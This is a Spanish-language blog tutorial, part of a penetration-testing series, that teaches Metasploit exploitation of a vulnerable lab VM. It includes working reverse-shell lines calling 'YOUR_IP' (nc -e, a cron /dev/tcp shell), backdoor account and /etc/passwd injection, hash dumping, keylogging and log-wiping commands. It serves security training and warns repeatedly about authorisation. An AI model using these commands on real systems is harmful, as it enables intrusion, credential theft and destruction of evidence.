Menú
Inicio Artículos {{t.nav.bookmarks}} {{t.nav.experience}} {{t.nav.profiles}} Sobre mí Trabaja conmigo
Cybersecurity concept visualization
Seguridad 8 Mar, 2026 • 28 min de lectura

Explotación: De la Vulnerabilidad al Shell

Master Metasploit Framework, exploit real vulnerabilities, escalate privileges, and pivot through networks. The complete guide to ethical exploitation techniques.

Compartir:
Lee Foropoulos

Lee Foropoulos

28 min de lectura

Continue where you left off?
Text size:

Contents

El Camino del Hacker: Una Serie de 5 Partes

Parte 1: IntroducciónParte 2: Dominio del FlipperParte 3: Fundamentos de KaliParte 4: ExplotaciónParte 5: La Auditoría Completa

En las Partes 1-3, construiste tu kit de herramientas. Puedes clonar tarjetas de acceso, mapear redes, capturar handshakes e identificar cada servicio que corre en un objetivo. Ahora ves vulnerabilidades por todas partes. Pero ver una vulnerabilidad y explotarla son habilidades muy diferentes.

Aquí es donde la cosa se pone seria. Hoy aprenderás a usar el Metasploit Framework, la misma herramienta que usan los pentesters profesionales en todo el mundo. Explotarás tu primera vulnerabilidad, establecerás persistencia, escalarás privilegios y aprenderás a pivotar a través de una red.

La Línea Que No Debes Cruzar

Todo lo que aparece en este artículo debe practicarse en sistemas que poseas o para los que tengas permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es un delito federal con penas de hasta 20 años de prisión. "Solo estaba aprendiendo" no es una defensa válida. Construye un laboratorio, usa VMs intencionalmente vulnerables y nunca toques sistemas que no te pertenezcan.

Parte 1: Construyendo Tu Laboratorio de Ataque

Antes de explotar cualquier cosa, necesitas objetivos. Los pentesters reales usan entornos de laboratorio aislados con máquinas intencionalmente vulnerables. Tú harás lo mismo.

La Configuración Esencial del Laboratorio

Lo Que Necesitarás

  • Kali Linux VM - Tu máquina de ataque (de la Parte 3)
  • Metasploitable 2 - VM Linux intencionalmente vulnerable (SourceForge)
  • Metasploitable 3 - VM Windows/Linux vulnerable (GitHub)
  • DVWA - Damn Vulnerable Web Application (GitHub)
  • VulnHub VMs - Máquinas vulnerables estilo CTF (vulnhub.com)

Proyecto: Configuración de Red del Laboratorio

Tiempo: 45 minutos

  1. Descarga Metasploitable 2 desde SourceForge
  2. Importa en VirtualBox/VMware
  3. Configura la red: Pon tanto Kali como Metasploitable en "Host-Only" o "Internal Network"
  4. Inicia Metasploitable (login por defecto: msfadmin / msfadmin)
  5. Anota la dirección IP: ifconfig
  6. Desde Kali, verifica la conectividad: ping METASPLOITABLE_IP
  7. Ejecuta un escaneo inicial: sudo nmap -sV -sC METASPLOITABLE_IP

Verificación: Deberías ver docenas de puertos abiertos. Metasploitable está diseñado para ser comprometido.

Tu escaneo nmap de Metasploitable debería revelar servicios como FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL y más, muchos corriendo versiones desactualizadas y vulnerables. Este es tu campo de juego.

Parte 2: Fundamentos del Metasploit Framework

Metasploit no es solo una herramienta. Es un ecosistema. Contiene miles de exploits, payloads, módulos auxiliares y herramientas de post-explotación. Entender su estructura es esencial.

4,000+
Módulos de exploit disponibles en el Metasploit Framework, cubriendo cada plataforma principal y clase de vulnerabilidad.

Iniciando Metasploit

bash
1# Initialize the database (first time only)
2sudo msfdb init
3
4# Start Metasploit console
5msfconsole
6
7# You'll see the Metasploit banner and prompt:
8msf6 >

La Estructura de Metasploit

Metasploit organiza todo en módulos:

  • Exploits - Código que aprovecha vulnerabilidades
  • Payloads - Código que se ejecuta después de la explotación (shells, meterpreter)
  • Auxiliary - Escáneres, fuzzers y otras utilidades
  • Post - Módulos de post-explotación para persistencia, pivoteo
  • Encoders - Ofuscan payloads para evadir detección
bash
1# Search for modules
2msf6 > search type:exploit platform:linux smb
3
4# Search by CVE
5msf6 > search cve:2017-0144
6
7# Search by name
8msf6 > search vsftpd
9
10# Get info about a module
11msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

El Flujo de Trabajo de Explotación

Cada explotación en Metasploit sigue el mismo patrón:

  1. Selecciona un exploit - use exploit/path/to/module
  2. Configura opciones - IP del objetivo, puertos, credenciales
  3. Selecciona un payload - Lo que se ejecuta después de la explotación
  4. Ejecuta - exploit o run
Cybersecurity operations with code on multiple screens
El Metasploit Framework proporciona un enfoque estructurado para la explotación, convirtiendo la investigación de vulnerabilidades en flujos de trabajo profesionales y repetibles.

Parte 3: Tu Primer Exploit

Vamos a explotar una de las puertas traseras más famosas de la historia: el backdoor de vsftpd 2.3.4. En 2011, alguien insertó una puerta trasera en el código fuente de vsftpd. Si envías un nombre de usuario que termine con :), se abre un shell en el puerto 6200.

Metasploitable 2 ejecuta exactamente esta versión.

bash
1# Start Metasploit
2msfconsole
3
4# Search for the exploit
5msf6 > search vsftpd
6
7# Select the exploit
8msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
9
10# View required options
11msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
12
13# Set the target
14msf6 exploit(...) > set RHOSTS 192.168.56.101
15
16# Run the exploit
17msf6 exploit(...) > exploit
18
19# If successful:
20[*] Command shell session 1 opened
21[+] Got shell!
22
23# You now have a root shell on the target
24whoami
25root
26id
27uid=0(root) gid=0(root)

Eso es todo. Un servicio vulnerable, un exploit, acceso root. Por eso mantener el software actualizado importa.

Un servicio vulnerable, un exploit, acceso root. Por eso mantener el software actualizado importa.

Proyecto: Explotar el Backdoor de vsftpd

Tiempo: 15 minutos

Requisitos previos: Metasploitable 2 corriendo, Kali en la misma red

  1. Verifica que FTP está corriendo: nmap -sV -p 21 TARGET_IP
  2. Lanza msfconsole
  3. Busca, selecciona y configura el exploit de vsftpd
  4. Ejecuta el exploit
  5. Una vez que tengas un shell, explora: cat /etc/shadow

Criterio de éxito: Puedes leer /etc/shadow, al que solo root puede acceder.

Parte 4: Entendiendo los Payloads

Un payload es lo que se ejecuta después de que el exploit tiene éxito. El shell básico que obtuvimos arriba es simple, pero Metasploit ofrece opciones mucho más poderosas.

Tipos de Payloads

  • Singles - Payloads autónomos de un solo uso (agregar usuario, ejecutar comando)
  • Stagers - Payloads pequeños que establecen una conexión y luego descargan el payload principal
  • Stages - El payload principal descargado por el stager (Meterpreter)
bash
1# List compatible payloads for current exploit
2msf6 exploit(...) > show payloads
3
4# Set a specific payload
5msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
6
7# Payload naming convention:
8# platform/arch/payload_type/connection_type
9# linux/x86/meterpreter/reverse_tcp
10# windows/x64/shell/bind_tcp

Reverse vs Bind Shells

  • Reverse shell - El objetivo se conecta de vuelta a ti. Mejor para evadir firewalls (el tráfico saliente generalmente está permitido).
  • Bind shell - El objetivo abre un puerto para que te conectes. Más fácil de detectar, frecuentemente bloqueado por firewalls.
bash
1# For reverse shells, you must set your IP
2msf6 exploit(...) > set LHOST YOUR_KALI_IP
3msf6 exploit(...) > set LPORT 4444
4
5# Metasploit starts a listener automatically when you exploit

Meterpreter: El Payload Definitivo

Meterpreter es el payload más poderoso de Metasploit. Se ejecuta completamente en memoria (sin archivos en disco), proporciona comunicación cifrada e incluye docenas de comandos integrados para post-explotación.

bash
1# Meterpreter commands (once you have a session)
2meterpreter > sysinfo          # System information
3meterpreter > getuid           # Current user
4meterpreter > pwd              # Current directory
5meterpreter > ls               # List files
6meterpreter > download file    # Download file to Kali
7meterpreter > upload file      # Upload file to target
8meterpreter > shell            # Drop to system shell
9meterpreter > hashdump         # Dump password hashes
10meterpreter > screenshot       # Take screenshot
11meterpreter > keyscan_start    # Start keylogger
12meterpreter > keyscan_dump     # Dump keystrokes
13meterpreter > background       # Background this session

Parte 5: Más Técnicas de Explotación

Explotando Samba (SMB)

Metasploitable 2 ejecuta una versión vulnerable de Samba. Esto es similar al infame exploit EternalBlue usado en WannaCry.

bash
1# Search for Samba exploits
2msf6 > search type:exploit samba
3
4# The "username map script" vulnerability
5msf6 > use exploit/multi/samba/usermap_script
6msf6 exploit(...) > set RHOSTS TARGET_IP
7msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
8msf6 exploit(...) > set LHOST YOUR_IP
9msf6 exploit(...) > exploit
10
11[*] Command shell session 2 opened

Explotando Credenciales Débiles

No todo compromiso requiere una vulnerabilidad de software. Las contraseñas débiles están en todas partes.

bash
1# SSH brute-force auxiliary module
2msf6 > use auxiliary/scanner/ssh/ssh_login
3msf6 auxiliary(...) > set RHOSTS TARGET_IP
4msf6 auxiliary(...) > set USERNAME root
5msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
6msf6 auxiliary(...) > set STOP_ON_SUCCESS true
7msf6 auxiliary(...) > run
8
9# For known credentials
10msf6 > use auxiliary/scanner/ssh/ssh_login
11msf6 auxiliary(...) > set USERNAME msfadmin
12msf6 auxiliary(...) > set PASSWORD msfadmin
13msf6 auxiliary(...) > run
14
15[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Explotación de Aplicaciones Web

Metasploitable incluye varias aplicaciones web vulnerables. Vamos a explotar una inyección de código PHP.

bash
1# First, browse to http://TARGET/mutillidae/
2# Find the "User Lookup" page (vulnerable to SQLi and code injection)
3
4# Use Metasploit's web exploits
5msf6 > search type:exploit php
6
7# Or exploit manually with command injection:
8# In vulnerable input field:
9; cat /etc/passwd
10; nc -e /bin/bash YOUR_IP 4444

Proyecto: Explotar Tres Servicios Diferentes

Tiempo: 60 minutos

Objetivo: Metasploitable 2

  1. Explotar el backdoor de vsftpd (FTP - puerto 21) y obtener shell root
  2. Explotar Samba usermap_script (SMB - puerto 139/445) y obtener shell root
  3. Crackear credenciales SSH (puerto 22) usando auxiliary/scanner/ssh/ssh_login
  4. Documenta cada explotación: módulo usado, opciones configuradas, resultado

Bonus: Explora las aplicaciones web en el puerto 80 y encuentra vectores de explotación manual.

Parte 6: Post-Explotación

Obtener un shell es solo el comienzo. Las pruebas de penetración reales requieren demostrar lo que un atacante podría hacer con ese acceso. Esto es post-explotación.

Recopilación de Información

text
1# From a Meterpreter session
2meterpreter > sysinfo
3Computer    : metasploitable
4OS          : Linux 2.6.24
5Architecture: i686
6Meterpreter : x86/linux
7
8# Network information
9meterpreter > ipconfig
10meterpreter > route
11meterpreter > arp
bash
1# From a regular shell
2cat /etc/passwd       # All users
3cat /etc/shadow       # Password hashes (requires root)
4cat /etc/hosts        # Network mappings
5netstat -tulpn        # Open ports
6ps aux                # Running processes
7crontab -l            # Scheduled tasks

Recolección de Credenciales

text
1# Dump password hashes
2meterpreter > hashdump
3root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
4msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash
bash
1# Or from shell
2cat /etc/shadow
3
4# Crack hashes offline with John the Ripper
5john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
6
7# Or hashcat (faster with GPU)
8hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

Estableciendo Persistencia

Persistencia significa mantener el acceso incluso después de reinicios o cuando tu vector de exploit inicial es parcheado.

bash
1# Add a new user with sudo access
2useradd -m -s /bin/bash hacker
3echo "hacker:password123" | chpasswd
4usermod -aG sudo hacker
5
6# Add SSH key for passwordless access
7mkdir /home/hacker/.ssh
8echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
9
10# Cron-based reverse shell (reconnects every minute)
11echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
12
13# Metasploit persistence module
14meterpreter > run persistence -h
15meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

Persistencia = Evidencia

Cada mecanismo de persistencia deja rastros. En una prueba de penetración real, documentas lo que podrías hacer y luego limpias. Dejar puertas traseras en sistemas de clientes es poco profesional y potencialmente ilegal. En tu laboratorio, haz lo que quieras, pero entiende las implicaciones.

Parte 7: Escalación de Privilegios

A menudo obtienes acceso inicial como un usuario con pocos privilegios. Escalar a root/admin generalmente es necesario para lograr los objetivos de la prueba.

Escalación de Privilegios en Linux

bash
1# Current user context
2id
3whoami
4
5# SUID binaries (run as owner regardless of who executes)
6find / -perm -4000 -type f 2>/dev/null
7
8# World-writable directories
9find / -writable -type d 2>/dev/null
10
11# Sudo permissions
12sudo -l
13
14# Kernel version (for kernel exploits)
15uname -a
16
17# Running processes as root
18ps aux | grep root
19
20# Cron jobs
21cat /etc/crontab
22ls -la /etc/cron.*

Scripts de Enumeración Automatizada

bash
1# Upload and run LinPEAS
2# From Kali, host the script:
3python3 -m http.server 8000
4
5# From target:
6wget http://YOUR_IP:8000/linpeas.sh
7chmod +x linpeas.sh
8./linpeas.sh
9
10# LinPEAS highlights potential vectors in colors:
11# RED/YELLOW = Critical findings, likely exploitable

Vectores Comunes de Privesc en Linux

bash
1# 1. Sudo misconfiguration
2sudo -l
3# If you see: (ALL) NOPASSWD: /usr/bin/vim
4sudo vim -c '!sh'
5# Instant root shell
6
7# 2. SUID binary exploitation
8# If /usr/bin/find has SUID bit:
9find . -exec /bin/sh -p \;
10
11# 3. Writable /etc/passwd
12# Generate password hash:
13openssl passwd -1 mypassword
14# Add to /etc/passwd:
15echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
16
17# 4. Cron job exploitation
18# If a cron runs a writable script as root:
19echo 'chmod +s /bin/bash' >> /path/to/cron/script
20# Wait for cron, then:
21/bin/bash -p
22# Root shell

Escalación de Privilegios en Windows

Si estás probando objetivos Windows (Metasploitable 3), las técnicas son diferentes:

text
1# From Meterpreter on Windows
2meterpreter > getuid
3Server username: VICTIM\lowpriv_user
4
5meterpreter > getsystem
6[+] ...got SYSTEM
7
8# If getsystem fails, try:
9meterpreter > run post/multi/recon/local_exploit_suggester
10
11# Or background and use specific exploit:
12meterpreter > background
13msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
14msf6 exploit(...) > set SESSION 1
15msf6 exploit(...) > exploit

Proyecto: Escalar de Usuario a Root

Tiempo: 45 minutos

Escenario: Tienes acceso SSH a Metasploitable como msfadmin (no root)

  1. SSH a Metasploitable: ssh msfadmin@TARGET
  2. Ejecuta id para confirmar que no eres root
  3. Verifica permisos sudo: sudo -l
  4. Busca binarios SUID: find / -perm -4000 2>/dev/null
  5. Sube y ejecuta LinPEAS
  6. Identifica un vector de privesc y explótalo

Meta: Obtener un shell root usando algo que no sea explotar un servicio de red.

Hacker working on code in a dark environment
La escalación de privilegios transforma el acceso limitado en control total del sistema, frecuentemente a través de configuraciones erróneas pasadas por alto en lugar de exploits sofisticados.

Parte 8: Pivoteo

El pivoteo es usar un sistema comprometido para atacar otros sistemas que no son directamente accesibles desde tu máquina de ataque. Así es como los atacantes se mueven lateralmente a través de las redes.

El Escenario de Pivoteo

Imagina esta red:

  • Tu Kali: 192.168.1.100
  • Host comprometido: 192.168.1.50 (también conectado a la red interna 10.0.0.0/24)
  • Objetivo: 10.0.0.10 (solo accesible desde 192.168.1.50)

No puedes alcanzar 10.0.0.10 directamente. Pero a través del host comprometido, sí puedes.

Enrutamiento con Metasploit

text
1# After getting a Meterpreter session on the pivot host
2meterpreter > ipconfig
3# Shows two interfaces: 192.168.1.50 and 10.0.0.50
4
5meterpreter > run autoroute -s 10.0.0.0/24
6[+] Added route to 10.0.0.0/24 via session 1
7
8meterpreter > background
9
10# Now Metasploit routes 10.0.0.0/24 traffic through session 1
11msf6 > route print
12
13# Scan the internal network
14msf6 > use auxiliary/scanner/portscan/tcp
15msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
16msf6 auxiliary(...) > set PORTS 22,80,443,445
17msf6 auxiliary(...) > run
18
19# Exploit internal targets through the pivot
20msf6 > use exploit/windows/smb/ms17_010_eternalblue
21msf6 exploit(...) > set RHOSTS 10.0.0.10
22msf6 exploit(...) > exploit

Proxy SOCKS para Acceso Completo

bash
1# Set up a SOCKS proxy through Meterpreter
2msf6 > use auxiliary/server/socks_proxy
3msf6 auxiliary(...) > set SRVPORT 1080
4msf6 auxiliary(...) > run
5
6# Configure proxychains (/etc/proxychains4.conf)
7socks5 127.0.0.1 1080
8
9# Now any tool can access the internal network
10proxychains nmap -sT -Pn 10.0.0.10
11proxychains curl http://10.0.0.10
12proxychains ssh [email protected]

Túneles SSH (Sin Metasploit)

bash
1# Dynamic port forwarding (SOCKS proxy)
2ssh -D 1080 user@pivot_host
3
4# Local port forwarding (specific port)
5ssh -L 8080:10.0.0.10:80 user@pivot_host
6# Now localhost:8080 reaches 10.0.0.10:80
7
8# Remote port forwarding (expose your service to internal network)
9ssh -R 4444:localhost:4444 user@pivot_host
10# Internal hosts can reach your port 4444 via pivot_host:4444

Parte 9: Cubriendo Huellas

Los pentesters profesionales documentan su acceso pero limpian después de sí mismos. Entender cómo los atacantes cubren sus huellas también te ayuda a detectar intrusiones.

bash
1# Clear bash history
2history -c
3cat /dev/null > ~/.bash_history
4
5# Clear auth logs (requires root)
6echo "" > /var/log/auth.log
7echo "" > /var/log/wtmp
8echo "" > /var/log/btmp
9
10# Remove specific log entries
11sed -i '/YOUR_IP/d' /var/log/auth.log
12
13# Timestomp (change file timestamps)
14touch -r /etc/passwd /path/to/your/file
15
16# Meterpreter
17meterpreter > clearev          # Clear Windows event logs
18meterpreter > timestomp file -m "01/01/2020 12:00:00"

En Trabajos Reales: No Hagas Esto

Los pentesters profesionales documentan su acceso y reportan sus hallazgos. No los esconden. Borrar logs destruye evidencia que los defensores necesitan para entender la ruta de ataque. Solo practica estas técnicas en tu entorno de laboratorio aislado.

El Camino del Hacker

Una serie de 5 partes que te lleva de curioso a capaz.

Parte 1: Introducción Parte 2: Dominio del Flipper Parte 3: Fundamentos de Kali Parte 4: Explotación ✓ Parte 5: Auditoría Completa

Lista de Verificación de la Parte 4

☐ Configuración del Lab: Metasploitable 2 corriendo, red aislada configurada

☐ Metasploit: Base de datos inicializada, navegación básica dominada

☐ Primer Exploit: Backdoor de vsftpd explotado, shell root obtenido

☐ Múltiples Vectores: Explotados FTP, SMB y credenciales SSH crackeadas

☐ Post-Explotación: Hashes de contraseñas volcados, sistema enumerado

☐ Escalación de Privilegios: Escalado de usuario a root sin exploit de red

☐ Pivoteo: Entender los conceptos de autoroute y proxy SOCKS

☐ Documentación: Todos los exploits documentados con pasos y evidencia

Plan de Acción de Habilidades de Explotación 0/5

Lo Que Viene

Has aprendido a explotar vulnerabilidades, escalar privilegios y pivotar a través de redes. Has visto lo rápido que una sola debilidad se convierte en un compromiso total. Entiendes lo que hacen los pentesters profesionales.

En la Parte 5, unimos todo. Realizarás una auditoría de seguridad completa de principio a fin:

  • Alcance y reglas de compromiso
  • Metodología completa de reconocimiento
  • Explotación sistemática
  • Post-explotación exhaustiva
  • Reporte profesional
  • Recomendaciones de remediación

La Parte 5 es el proyecto final. Todo lo que has aprendido a lo largo de esta serie se une en una metodología del mundo real que puedes usar para evaluar la seguridad de cualquier red que estés autorizado a probar.

Has aprendido las técnicas. Ahora aprendes la metodología. La Parte 5 convierte habilidades en un flujo de trabajo completo de pruebas de penetración.

Nos vemos en la Parte 5.

How was this article?

Compartir

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

No te pierdas ninguna publicacion

Recibe notificaciones cuando se publiquen nuevos articulos. No se requiere correo electronico.

Veras un aviso en el sitio cuando haya una nueva publicacion, ademas de una notificacion del navegador si lo permites.

Solo notificaciones del navegador. Sin spam, sin correo.

0 / 0